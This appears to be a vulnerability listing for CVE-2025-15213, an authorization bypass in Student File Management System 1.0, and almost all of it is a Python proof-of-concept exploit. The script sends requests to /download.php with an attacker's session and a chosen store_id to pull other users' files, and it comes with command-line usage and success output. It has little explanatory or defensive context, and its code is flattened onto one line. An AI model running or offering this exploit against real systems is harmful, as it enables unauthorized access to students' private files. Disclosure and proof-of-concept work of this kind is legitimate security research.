CVE-2025-15213 code-projects Student File Management System 1.0 授权绕过漏洞

#!/usr/bin/env python3 # CVE-2025-15213 PoC - Student File Management System 1.0 Authorization Bypass # Affected Component: /download.php File Download Handler # Vulnerability: Improper Authorization via store_id parameter import requests import sys from urllib.parse import urlencode def exploit_auth_bypass(base_url, attacker_session, target_store_id): """ Exploit improper authorization in Student File Management System 1.0 Args: base_url: Target application base URL attacker_session: Valid session cookie/token for authenticated attacker target_store_id: store_id of victim user to access files from Returns: Response content if exploitation successful, None otherwise """ # Construct malicious download request with arbitrary store_id download_endpoint = f"{base_url}/download.php" params = { 'store_id': target_store_id # Unchecked authorization parameter } headers = { 'Cookie': f'session={attacker_session}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.get( download_endpoint, params=params, headers=headers, timeout=10 ) if response.status_code == 200: print(f"[!] Successfully accessed files for store_id: {target_store_id}") print(f"[*] Response headers: {dict(response.headers)}") return response.content else: print(f"[*] Request failed with status: {response.status_code}") return None except requests.RequestException as e: print(f"[!] Request error: {e}") return None def main(): if len(sys.argv) < 4: print("Usage: python3 cve_2025_15213_poc.py <base_url> <session_cookie> <target_store_id>") print("Example: python3 cve_2025_15213_poc.py http://target.com 'abc123' '5'") sys.exit(1) base_url = sys.argv[1].rstrip('/') session = sys.argv[2] target_id = sys.argv[3] print(f"[*] Targeting: {base_url}") print(f"[*] Exploiting store_id: {target_id}") result = exploit_auth_bypass(base_url, session, target_id) if result: print("[+] Exploitation successful - unauthorized file access achieved") else: print("[-] Exploitation failed") if __name__ == '__main__': main()